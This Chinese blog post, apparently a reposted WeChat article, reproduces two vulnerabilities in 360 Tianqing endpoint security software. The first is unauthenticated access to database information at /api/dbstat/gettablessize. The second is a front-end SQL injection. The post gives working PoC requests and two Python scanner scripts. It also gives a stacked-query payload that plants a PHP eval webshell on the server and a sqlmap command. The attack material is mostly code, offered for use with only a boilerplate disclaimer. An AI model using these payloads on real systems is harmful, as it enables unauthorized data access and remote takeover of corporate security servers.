天擎_越权访问&天擎_前台sql注入复现

  • A+
所属分类:安全文章

天擎_越权访问&天擎_前台sql注入复现

天擎_越权访问&天擎_前台sql注入复现


一、天擎_越权访问

POC:

GET /api/dbstat/gettablessize HTTP/1.1

直接访问可获取数据库相关信息:

天擎_越权访问&天擎_前台sql注入复现

脚本:

python3 poc.py http://ip+port

天擎_越权访问&天擎_前台sql注入复现

#!/usr/bin/env python# -*- coding: utf-8 -*-'''name: 360天擎未授权访问referer: 360天擎未授权访问 IP:port/api/dbstat/gettablessizeauthor: thelostworlddescription: 360天擎未授权访问。免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!'''import sysimport warningsimport requestsimport clickfrom concurrent.futures import ThreadPoolExecutor
W = '33[0m'G = '33[1;32m'R = '33[1;31m'O = '33[1;33m'B = '33[1;34m'

def run(url): result = ['','不存在'] payload = "/api/dbstat/gettablessize" vulnurl = url + payload if("http" in vulnurl): vulnurl = vulnurl else: vulnurl = "http://" + vulnurl try: req = requests.get(vulnurl,timeout=1, verify=False) if r"schema_name" in req.text : result[1] = '存在' result[0] = vulnurl print(G,result[1]+result[0]+'rn'+req.text,W) else: result[1] = '不存在' except: result[1] = '不存在' return result
if __name__ == "__main__": warnings.filterwarnings("ignore") testVuln = run(sys.argv[1])


二、天擎_前台sql注入

poc:

/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:Program Files (x86)360skylar6www1.php';drop table O;--

天擎_越权访问&天擎_前台sql注入复现

sqlmap执行:

天擎_越权访问&天擎_前台sql注入复现

脚本:

python3 poc.py http://ip+port

天擎_越权访问&天擎_前台sql注入复现

#!/usr/bin/env python# -*- coding: utf-8 -*-'''name: 360天擎SQL注入referer: 360天擎SQL注入 IP:port/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:Program Files (x86)360skylar6www1.php';drop table O;-- author: thelostworlddescription: 360天擎SQL注入。免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!'''import sysimport warningsimport requestsimport clickfrom concurrent.futures import ThreadPoolExecutor
W = '33[0m'G = '33[1;32m'R = '33[1;31m'O = '33[1;33m'B = '33[1;34m'
def run(url): result = ['','不存在'] payload = "/api/dp/rptsvcsyncpoint?ccid=1*" headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } vulnurl = url + payload if("http" in vulnurl): vulnurl = vulnurl else: vulnurl = "http://" + vulnurl try: req = requests.get(vulnurl, headers=headers, timeout=3, verify=False) if r"success" in req.text : result[1] = '存在' result[0] = vulnurl + '需要进一步验证,SQLMAP语法:sqlmap.py -u "%s" --dbms PostgreSQL --batch'%(vulnurl) print(G,result[0],W) else: result[1] = '不存在' except: result[1] = '不存在' return result if __name__ == "__main__": warnings.filterwarnings("ignore") testVuln = run(sys.argv[1])


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

天擎_越权访问&天擎_前台sql注入复现

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园:https://www.cnblogs.com/thelostworld/

FREEBUF主页:https://www.freebuf.com/author/thelostworld?type=article

博客主页:https://www.yuque.com/thelostworld

天擎_越权访问&天擎_前台sql注入复现

欢迎添加本公众号作者微信交流,添加时备注一下“公众号”

天擎_越权访问&天擎_前台sql注入复现

本文始发于微信公众号(thelostworld):天擎_越权访问&天擎_前台sql注入复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: